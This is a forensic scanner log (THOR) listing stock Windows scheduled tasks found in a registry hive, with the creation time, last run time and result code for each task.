Sep 10 12:44:49 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scheduled task found SCANID: S-BxzYg1khKSI HIVE: E:\Windows\System32\config\SOFTWARE REGISTRY_PATH: ROOT\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks GUID: {2C77F3AF-ED76-4042-908C-387080E2301B} PATH: \Microsoft\Windows\LanguageComponentsInstaller\ReconcileLanguageResources VERSION: 3 CREATED: Tue Jun  4 02:25:40 2024 LAST_RUN: Tue Sep  3 11:00:39 2024 LAST_STOPPED: Tue Sep  3 11:00:39 2024 STATUS: 00000000 LAST_RESULT: 00000000
Sep 10 12:44:49 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scheduled task found SCANID: S-BxzYg1khKSI HIVE: E:\Windows\System32\config\SOFTWARE REGISTRY_PATH: ROOT\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks GUID: {2CE112D1-96C1-4393-A9F7-2C070875A25B} PATH: \Microsoft\Windows\InstallService\RestoreDevice VERSION: 3 CREATED: Tue Jun  4 02:25:41 2024 LAST_RUN: Tue Sep  3 10:00:15 2024 LAST_STOPPED: Tue Sep  3 10:00:16 2024 STATUS: 00000000 LAST_RESULT: 00000000
Sep 10 12:44:49 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scheduled task found SCANID: S-BxzYg1khKSI HIVE: E:\Windows\System32\config\SOFTWARE REGISTRY_PATH: ROOT\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks GUID: {2E9D660E-8966-4316-BB8C-6B8BF6913AB5} PATH: \Microsoft\Windows\SpacePort\SpaceManagerTask VERSION: 3 CREATED: Tue Jun  4 02:25:40 2024 LAST_RUN: never LAST_STOPPED: never STATUS: 00000000 LAST_RESULT: 00000000
Sep 10 12:44:49 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scheduled task found SCANID: S-BxzYg1khKSI HIVE: E:\Windows\System32\config\SOFTWARE REGISTRY_PATH: ROOT\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks GUID: {30312E5A-78C2-447D-B6C2-B10765040F3D} PATH: \Microsoft\Windows\Windows Defender\Windows Defender Verification VERSION: 3 CREATED: Wed Aug  7 23:45:04 2024 LAST_RUN: Tue Sep  3 00:33:02 2024 LAST_STOPPED: Tue Sep  3 00:34:02 2024 STATUS: 00000000 LAST_RESULT: 00000000
Sep 10 12:44:49 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scheduled task found SCANID: S-BxzYg1khKSI HIVE: E:\Windows\System32\config\SOFTWARE REGISTRY_PATH: ROOT\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks GUID: {328CFB8A-B6FE-45A7-B0D0-6A588CD67879} PATH: \Microsoft\Windows\SharedPC\Account Cleanup VERSION: 3 CREATED: Tue Jun  4 02:25:41 2024 LAST_RUN: never LAST_STOPPED: never STATUS: 00000000 LAST_RESULT: 00000000
Sep 10 12:44:49 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scheduled task found SCANID: S-BxzYg1khKSI HIVE: E:\Windows\System32\config\SOFTWARE REGISTRY_PATH: ROOT\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks GUID: {32FCDCA7-FF73-4AAC-9113-7DE5E22E8B80} PATH: \Microsoft\Windows\TPM\Tpm-Maintenance VERSION: 3 CREATED: Mon Jun  3 20:42:41 2024 LAST_RUN: Mon Jun  3 20:48:18 2024 LAST_STOPPED: Mon Jun  3 20:48:18 2024 STATUS: 00000000 LAST_RESULT: df100780
Sep 10 12:44:49 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scheduled task found SCANID: S-BxzYg1khKSI HIVE: E:\Windows\System32\config\SOFTWARE REGISTRY_PATH: ROOT\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks GUID: {33BCFB6B-863E-4FD0-96AE-817A95B04915} PATH: \Microsoft\Windows\WOF\WIM-Hash-Validation VERSION: 3 CREATED: Tue Jun  4 02:25:41 2024 LAST_RUN: Mon Jul 22 12:23:51 2024 LAST_STOPPED: Mon Jul 22 12:23:53 2024 STATUS: 00000000 LAST_RESULT: 00000000
Sep 10 12:44:49 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scheduled task found SCANID: S-BxzYg1khKSI HIVE: E:\Windows\System32\config\SOFTWARE REGISTRY_PATH: ROOT\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks GUID: {341B2255-6A6B-442A-AF5A-C610B7DBE12D} PATH: \Microsoft\Windows\UpdateOrchestrator\Schedule Scan Static Task VERSION: 3 CREATED: Tue Jun  4 02:25:41 2024 LAST_RUN: Tue Sep  3 11:05:15 2024 LAST_STOPPED: Tue Sep  3 11:05:15 2024 STATUS: 00000000 LAST_RESULT: 00000000
Sep 10 12:44:49 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scheduled task found SCANID: S-BxzYg1khKSI HIVE: E:\Windows\System32\config\SOFTWARE REGISTRY_PATH: ROOT\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks GUID: {36A83D1B-5DAC-43E6-8ED3-878520340588} PATH: \Microsoft\Windows\Plug and Play\Device Install Group Policy VERSION: 3 CREATED: Tue Jun  4 02:25:41 2024 LAST_RUN: Tue Sep  3 12:20:56 2024 LAST_STOPPED: Tue Sep  3 12:20:56 2024 STATUS: 00000000 LAST_RESULT: 00000000
Sep 10 12:44:49 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scheduled task found SCANID: S-BxzYg1khKSI HIVE: E:\Windows\System32\config\SOFTWARE REGISTRY_PATH: ROOT\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks GUID: {36FF6726-C362-4245-8A25-2A889F53AB53} PATH: \Microsoft\Windows\PushToInstall\Registration VERSION: 3 CREATED: Tue Aug 13 20:33:30 2024 LAST_RUN: Tue Sep  3 09:03:18 2024 LAST_STOPPED: Tue Sep  3 09:03:19 2024 STATUS: 00000000 LAST_RESULT: 00000000
Sep 10 12:44:49 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scheduled task found SCANID: S-BxzYg1khKSI HIVE: E:\Windows\System32\config\SOFTWARE REGISTRY_PATH: ROOT\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks GUID: {37D056AC-1FC2-46E2-A639-81F21E974872} PATH: \Microsoft\Windows\Plug and Play\Device Install Reboot Required VERSION: 3 CREATED: Tue Jun  4 02:25:40 2024 LAST_RUN: Tue Sep  3 09:00:38 2024 LAST_STOPPED: Tue Sep  3 09:00:43 2024 STATUS: 00000000 LAST_RESULT: 00000000
Sep 10 12:44:49 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scheduled task found SCANID: S-BxzYg1khKSI HIVE: E:\Windows\System32\config\SOFTWARE REGISTRY_PATH: ROOT\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks GUID: {388542D6-74EA-42C5-8F32-8A4BCD9C4F99} PATH: \Microsoft\Windows\MemoryDiagnostic\RunFullMemoryDiagnostic VERSION: 3 CREATED: Sat May 11 02:25:41 2024 LAST_RUN: never LAST_STOPPED: never STATUS: 00000000 LAST_RESULT: 00000000
Sep 10 12:44:49 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scheduled task found SCANID: S-BxzYg1khKSI HIVE: E:\Windows\System32\config\SOFTWARE REGISTRY_PATH: ROOT\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks GUID: {3AF4D753-A89E-4A06-AF4E-C84241F0252D} PATH: \Microsoft\Windows\Diagnosis\Scheduled VERSION: 3 CREATED: Fri May 31 02:25:41 2024 LAST_RUN: Fri Aug 30 02:32:59 2024 LAST_STOPPED: Fri Aug 30 02:33:09 2024 STATUS: 00000000 LAST_RESULT: 00000000
Sep 10 12:44:49 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scheduled task found SCANID: S-BxzYg1khKSI HIVE: E:\Windows\System32\config\SOFTWARE REGISTRY_PATH: ROOT\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks GUID: {3B083D1E-A3BC-4CEF-812A-DC3AA8D92A32} PATH: \Microsoft\Windows\Workplace Join\Automatic-Device-Join VERSION: 3 CREATED: Tue Jun  4 02:25:40 2024 LAST_RUN: Tue Sep  3 16:22:01 2024 LAST_STOPPED: Tue Sep  3 16:22:01 2024 STATUS: 00000000 LAST_RESULT: 01000000
Sep 10 12:44:49 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scheduled task found SCANID: S-BxzYg1khKSI HIVE: E:\Windows\System32\config\SOFTWARE REGISTRY_PATH: ROOT\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks GUID: {3D5FE568-E93C-4D3E-8DC5-4ADA757FA6A3} PATH: \Microsoft\Windows\UpdateOrchestrator\Schedule Wake To Work VERSION: 3 CREATED: Tue Jun  4 02:29:04 2024 LAST_RUN: Tue Aug 13 20:30:00 2024 LAST_STOPPED: Tue Aug 13 20:30:00 2024 STATUS: 00000000 LAST_RESULT: 00000000
Sep 10 12:44:49 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scheduled task found SCANID: S-BxzYg1khKSI HIVE: E:\Windows\System32\config\SOFTWARE REGISTRY_PATH: ROOT\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks GUID: {3DBFC239-EDC6-4114-B4A5-4AC2B63F657A} PATH: \Microsoft\Windows\EDP\EDP App Launch Task VERSION: 3 CREATED: Tue Jun  4 02:25:41 2024 LAST_RUN: never LAST_STOPPED: never STATUS: 00000000 LAST_RESULT: 00000000
Sep 10 12:44:49 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scheduled task found SCANID: S-BxzYg1khKSI HIVE: E:\Windows\System32\config\SOFTWARE REGISTRY_PATH: ROOT\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks GUID: {401F6914-5590-4971-8ADE-F72CC3588039} PATH: \Microsoft\Windows\Subscription\EnableLicenseAcquisition VERSION: 3 CREATED: Tue Jun  4 02:25:41 2024 LAST_RUN: Tue Sep  3 09:00:15 2024 LAST_STOPPED: Tue Sep  3 09:00:22 2024 STATUS: 00000000 LAST_RESULT: 00000000
Sep 10 12:44:49 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scheduled task found SCANID: S-BxzYg1khKSI HIVE: E:\Windows\System32\config\SOFTWARE REGISTRY_PATH: ROOT\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks GUID: {4046856E-F5BB-452E-BC8F-9A3FB2E0E6A6} PATH: \Microsoft\Windows\StateRepository\MaintenanceTasks VERSION: 3 CREATED: Tue Jun  4 02:25:41 2024 LAST_RUN: Tue Sep  3 02:33:03 2024 LAST_STOPPED: Tue Sep  3 02:33:07 2024 STATUS: 00000000 LAST_RESULT: 00000000
Sep 10 12:44:49 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scheduled task found SCANID: S-BxzYg1khKSI HIVE: E:\Windows\System32\config\SOFTWARE REGISTRY_PATH: ROOT\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks GUID: {41F5CDE6-DF73-46F7-B7EF-AA4F4C16D0B9} PATH: \Microsoft\Windows\UpdateOrchestrator\Schedule Work VERSION: 3 CREATED: Tue Jun  4 02:29:04 2024 LAST_RUN: Tue Sep  3 09:15:37 2024 LAST_STOPPED: Tue Sep  3 09:15:37 2024 STATUS: 00000000 LAST_RESULT: 00000000
Sep 10 12:44:49 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scheduled task found SCANID: S-BxzYg1khKSI HIVE: E:\Windows\System32\config\SOFTWARE REGISTRY_PATH: ROOT\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks GUID: {43BD31EF-7D4A-4BE6-A2BA-62127959D14A} PATH: \Microsoft\Windows\Management\Autopilot\RemediateHardwareChange VERSION: 3 CREATED: Tue Jun  4 02:25:40 2024 LAST_RUN: never LAST_STOPPED: never STATUS: 00000000 LAST_RESULT: 00000000
Sep 10 12:44:49 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scheduled task found SCANID: S-BxzYg1khKSI HIVE: E:\Windows\System32\config\SOFTWARE REGISTRY_PATH: ROOT\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks GUID: {4571A71C-BD9C-44AA-838E-E27669F3175C} PATH: \Microsoft\Windows\InstallService\ScanForUpdates VERSION: 3 CREATED: Tue Jun  4 02:25:41 2024 LAST_RUN: Tue Sep  3 11:00:16 2024 LAST_STOPPED: Tue Sep  3 11:00:49 2024 STATUS: 00000000 LAST_RESULT: 00000000
Sep 10 12:44:49 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scheduled task found SCANID: S-BxzYg1khKSI HIVE: E:\Windows\System32\config\SOFTWARE REGISTRY_PATH: ROOT\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks GUID: {47418E7A-3D8A-4404-8583-5FBD177E6B24} PATH: \Microsoft\Windows\DeviceDirectoryClient\IntegrityCheck VERSION: 3 CREATED: Tue Jun  4 02:25:41 2024 LAST_RUN: Thu Aug 29 11:21:30 2024 LAST_STOPPED: Thu Aug 29 11:21:30 2024 STATUS: 00000000 LAST_RESULT: 00000000
Sep 10 12:44:49 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scheduled task found SCANID: S-BxzYg1khKSI HIVE: E:\Windows\System32\config\SOFTWARE REGISTRY_PATH: ROOT\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks GUID: {476E8CFA-78E2-4C51-854E-538F8643B4FD} PATH: \Microsoft\Windows\UpdateOrchestrator\Report policies VERSION: 3 CREATED: Thu May 30 02:25:41 2024 LAST_RUN: Tue Sep  3 12:29:08 2024 LAST_STOPPED: Tue Sep  3 12:29:08 2024 STATUS: 00000000 LAST_RESULT: 00000000
Sep 10 12:44:49 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scheduled task found SCANID: S-BxzYg1khKSI HIVE: E:\Windows\System32\config\SOFTWARE REGISTRY_PATH: ROOT\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks GUID: {49091D37-DABD-4CAD-8B70-D46897191FEA} PATH: \Microsoft\Windows\DeviceDirectoryClient\RegisterDevicePolicyChange VERSION: 3 CREATED: Tue Jun  4 02:25:41 2024 LAST_RUN: Tue Sep  3 12:20:56 2024 LAST_STOPPED: Tue Sep  3 12:20:56 2024 STATUS: 00000000 LAST_RESULT: 00000000
Sep 10 12:44:49 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scheduled task found SCANID: S-BxzYg1khKSI HIVE: E:\Windows\System32\config\SOFTWARE REGISTRY_PATH: ROOT\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks GUID: {4DD76740-A576-4329-9319-6E5B6B0C3022} PATH: \Microsoft\Windows\DeviceDirectoryClient\RegisterDevicePeriodic24 VERSION: 3 CREATED: Tue Jun  4 02:25:41 2024 LAST_RUN: never LAST_STOPPED: never STATUS: 00000000 LAST_RESULT: 00000000
Sep 10 12:44:49 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scheduled task found SCANID: S-BxzYg1khKSI HIVE: E:\Windows\System32\config\SOFTWARE REGISTRY_PATH: ROOT\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks GUID: {4F30BF1B-1F72-489A-B643-1782B8B5AB9B} PATH: \Microsoft\Windows\SystemRestore\SR VERSION: 3 CREATED: Sun Jun  2 02:25:41 2024 LAST_RUN: Tue Sep  3 02:33:24 2024 LAST_STOPPED: Tue Sep  3 02:33:25 2024 STATUS: 00000000 LAST_RESULT: 00000000
Sep 10 12:44:49 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scheduled task found SCANID: S-BxzYg1khKSI HIVE: E:\Windows\System32\config\SOFTWARE REGISTRY_PATH: ROOT\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks GUID: {4F8E45FC-4D09-4F51-BB6C-F22CE2AE99A9} PATH: \Microsoft\Windows\Application Experience\PcaPatchDbTask VERSION: 3 CREATED: Tue Jun  4 02:25:59 2024 LAST_RUN: Tue Sep  3 13:07:01 2024 LAST_STOPPED: Tue Sep  3 13:07:01 2024 STATUS: 00000000 LAST_RESULT: 00000000
Sep 10 12:44:49 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scheduled task found SCANID: S-BxzYg1khKSI HIVE: E:\Windows\System32\config\SOFTWARE REGISTRY_PATH: ROOT\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks GUID: {50FE9304-0CB0-421B-8E66-E49FF48945F1} PATH: \Microsoft\Windows\DirectX\DirectXDatabaseUpdater VERSION: 3 CREATED: Tue Jun  4 02:25:40 2024 LAST_RUN: Mon Sep  2 06:47:00 2024 LAST_STOPPED: Mon Sep  2 06:47:01 2024 STATUS: 00000000 LAST_RESULT: 00000000
Sep 10 12:44:50 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scheduled task found SCANID: S-BxzYg1khKSI HIVE: E:\Windows\System32\config\SOFTWARE REGISTRY_PATH: ROOT\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks GUID: {51D35CFA-605B-4140-B9F5-052B7F24A8F3} PATH: \Microsoft\Windows\PI\Secure-Boot-Update VERSION: 3 CREATED: Mon Jun  3 20:42:41 2024 LAST_RUN: Tue Sep  3 15:00:01 2024 LAST_STOPPED: Tue Sep  3 15:00:02 2024 STATUS: 00000000 LAST_RESULT: 00000000
Sep 10 12:44:50 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scheduled task found SCANID: S-BxzYg1khKSI HIVE: E:\Windows\System32\config\SOFTWARE REGISTRY_PATH: ROOT\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks GUID: {54428BB2-CDBF-4F58-B1C7-4A2745A4D909} PATH: \microsoft\windows\applicationdata\appuriverifierinstall VERSION: 3 CREATED: Tue Jun  4 02:25:41 2024 LAST_RUN: Mon Sep  2 06:47:26 2024 LAST_STOPPED: Mon Sep  2 06:47:29 2024 STATUS: 00000000 LAST_RESULT: 00000000
Sep 10 12:44:50 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scheduled task found SCANID: S-BxzYg1khKSI HIVE: E:\Windows\System32\config\SOFTWARE REGISTRY_PATH: ROOT\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks GUID: {55F0E3B4-CB69-483F-B8C7-3DA3D10BA893} PATH: \Microsoft\Windows\WlanSvc\CDSSync VERSION: 3 CREATED: Tue Jun  4 02:25:41 2024 LAST_RUN: Tue Sep  3 09:01:43 2024 LAST_STOPPED: Tue Sep  3 09:15:44 2024 STATUS: 00000000 LAST_RESULT: 00000000
Sep 10 12:44:50 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scheduled task found SCANID: S-BxzYg1khKSI HIVE: E:\Windows\System32\config\SOFTWARE REGISTRY_PATH: ROOT\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks GUID: {564EB0F7-6B33-45FD-996F-34E146F60606} PATH: \Microsoft\Windows\Servicing\StartComponentCleanup VERSION: 3 CREATED: Thu May 30 02:25:41 2024 LAST_RUN: Thu Aug 29 02:32:58 2024 LAST_STOPPED: Thu Aug 29 02:33:00 2024 STATUS: 00000000 LAST_RESULT: 00000000
Sep 10 12:44:50 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scheduled task found SCANID: S-BxzYg1khKSI HIVE: E:\Windows\System32\config\SOFTWARE REGISTRY_PATH: ROOT\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks GUID: {57999191-4508-4B15-A71C-600C0C4F6294} PATH: \Microsoft\Windows\License Manager\TempSignedLicenseExchange VERSION: 3 CREATED: Tue Jun  4 02:25:41 2024 LAST_RUN: Tue Sep  3 02:33:03 2024 LAST_STOPPED: Tue Sep  3 02:33:05 2024 STATUS: 00000000 LAST_RESULT: 00000000
Sep 10 12:44:50 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scheduled task found SCANID: S-BxzYg1khKSI HIVE: E:\Windows\System32\config\SOFTWARE REGISTRY_PATH: ROOT\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks GUID: {57B362F6-A26D-480E-909C-62C7A3125DD6} PATH: \OneDrive Standalone Update Task-S-1-5-21-395486425-972718290-1458454356-1001 VERSION: 3 CREATED: Tue Aug 13 14:11:52 2024 LAST_RUN: never LAST_STOPPED: never STATUS: 00000000 LAST_RESULT: 00000000
Sep 10 12:44:50 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scheduled task found SCANID: S-BxzYg1khKSI HIVE: E:\Windows\System32\config\SOFTWARE REGISTRY_PATH: ROOT\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks GUID: {58C089C2-D45A-4181-98E8-A433A6EAA443} PATH: \Microsoft\Windows\DUSM\dusmtask VERSION: 3 CREATED: Tue Jun  4 02:25:41 2024 LAST_RUN: never LAST_STOPPED: never STATUS: 00000000 LAST_RESULT: 00000000
Sep 10 12:44:50 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scheduled task found SCANID: S-BxzYg1khKSI HIVE: E:\Windows\System32\config\SOFTWARE REGISTRY_PATH: ROOT\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks GUID: {59838101-F43A-4150-8CBA-761AF87D2886} PATH: \Microsoft\Windows\Windows Media Sharing\UpdateLibrary VERSION: 3 CREATED: Tue Jun  4 02:25:41 2024 LAST_RUN: never LAST_STOPPED: never STATUS: 00000000 LAST_RESULT: 00000000
Sep 10 12:44:50 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scheduled task found SCANID: S-BxzYg1khKSI HIVE: E:\Windows\System32\config\SOFTWARE REGISTRY_PATH: ROOT\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks GUID: {5A1238D4-1B82-40ED-BBC0-78FEAB04556D} PATH: \MicrosoftEdgeUpdateTaskMachineUA VERSION: 3 CREATED: Tue Jun  4 02:26:00 2024 LAST_RUN: Tue Sep  3 16:52:16 2024 LAST_STOPPED: Tue Sep  3 16:52:16 2024 STATUS: 00000000 LAST_RESULT: 00000000
Sep 10 12:44:50 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scheduled task found SCANID: S-BxzYg1khKSI HIVE: E:\Windows\System32\config\SOFTWARE REGISTRY_PATH: ROOT\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks GUID: {5A9B960C-3E34-45A8-BB28-4D90D9739F5D} PATH: \Microsoft\Windows\UPnP\UPnPHostConfig VERSION: 3 CREATED: Tue Jun  4 02:25:41 2024 LAST_RUN: never LAST_STOPPED: never STATUS: 00000000 LAST_RESULT: 00000000
Sep 10 12:44:50 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scheduled task found SCANID: S-BxzYg1khKSI HIVE: E:\Windows\System32\config\SOFTWARE REGISTRY_PATH: ROOT\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks GUID: {5C770B07-E063-4588-B334-C029AE68B5CB} PATH: \Microsoft\Windows\Printing\EduPrintProv VERSION: 3 CREATED: Tue Jun  4 02:25:41 2024 LAST_RUN: never LAST_STOPPED: never STATUS: 00000000 LAST_RESULT: 00000000
Sep 10 12:44:50 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scheduled task found SCANID: S-BxzYg1khKSI HIVE: E:\Windows\System32\config\SOFTWARE REGISTRY_PATH: ROOT\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks GUID: {61618F71-B230-4968-A79E-878D8A14D097} PATH: \Microsoft\Windows\ExploitGuard\ExploitGuard MDM policy Refresh VERSION: 3 CREATED: Tue Jun  4 02:25:40 2024 LAST_RUN: Tue Sep  3 12:20:56 2024 LAST_STOPPED: Tue Sep  3 12:20:56 2024 STATUS: 00000000 LAST_RESULT: 00000000
Sep 10 12:44:50 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scheduled task found SCANID: S-BxzYg1khKSI HIVE: E:\Windows\System32\config\SOFTWARE REGISTRY_PATH: ROOT\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks GUID: {6376CE14-030D-4F53-8A24-89C55FF5240B} PATH: \Microsoft\Windows\DiskDiagnostic\Microsoft-Windows-DiskDiagnosticResolver VERSION: 3 CREATED: Tue Jun  4 02:25:40 2024 LAST_RUN: never LAST_STOPPED: never STATUS: 00000000 LAST_RESULT: 00000000
Sep 10 12:44:50 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scheduled task found SCANID: S-BxzYg1khKSI HIVE: E:\Windows\System32\config\SOFTWARE REGISTRY_PATH: ROOT\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks GUID: {645AE3F4-2ABB-4B23-BBCC-8501D777B798} PATH: \Microsoft\Windows\Application Experience\StartupAppTask VERSION: 3 CREATED: Mon Jun  3 02:25:41 2024 LAST_RUN: Tue Sep  3 02:33:03 2024 LAST_STOPPED: Tue Sep  3 02:33:04 2024 STATUS: 00000000 LAST_RESULT: 00000000
Sep 10 12:44:50 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scheduled task found SCANID: S-BxzYg1khKSI HIVE: E:\Windows\System32\config\SOFTWARE REGISTRY_PATH: ROOT\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks GUID: {646A47B2-B399-4126-ADC2-8A1CAC8768B2} PATH: \Microsoft\Windows\Printing\PrintJobCleanupTask VERSION: 3 CREATED: Tue Jun  4 02:25:41 2024 LAST_RUN: Mon Jul 22 13:13:45 2024 LAST_STOPPED: Mon Jul 22 13:13:45 2024 STATUS: 00000000 LAST_RESULT: 00000000
Sep 10 12:44:50 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scheduled task found SCANID: S-BxzYg1khKSI HIVE: E:\Windows\System32\config\SOFTWARE REGISTRY_PATH: ROOT\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks GUID: {668E3F45-47C5-4203-A02C-83DD53CFC71F} PATH: \Microsoft\Windows\BrokerInfrastructure\BgTaskRegistrationMaintenanceTask VERSION: 3 CREATED: Sat Jun  1 02:25:41 2024 LAST_RUN: Sat Aug 31 02:33:00 2024 LAST_STOPPED: Sat Aug 31 02:33:00 2024 STATUS: 00000000 LAST_RESULT: 00000010
Sep 10 12:44:50 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scheduled task found SCANID: S-BxzYg1khKSI HIVE: E:\Windows\System32\config\SOFTWARE REGISTRY_PATH: ROOT\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks GUID: {6929B169-430B-41EB-984B-CB8D6FE53905} PATH: \Microsoft\Windows\CloudRestore\Backup VERSION: 3 CREATED: Tue Jun  4 02:25:41 2024 LAST_RUN: Sat Aug 31 11:58:49 2024 LAST_STOPPED: Sat Aug 31 11:58:49 2024 STATUS: 00000000 LAST_RESULT: 00000000
Sep 10 12:44:50 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scheduled task found SCANID: S-BxzYg1khKSI HIVE: E:\Windows\System32\config\SOFTWARE REGISTRY_PATH: ROOT\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks GUID: {69AED3CF-EA05-4F8A-B1C9-61932D0D416A} PATH: \Microsoft\Windows\DeviceDirectoryClient\HandleCommand VERSION: 3 CREATED: Tue Jun  4 02:25:41 2024 LAST_RUN: never LAST_STOPPED: never STATUS: 00000000 LAST_RESULT: 00000000
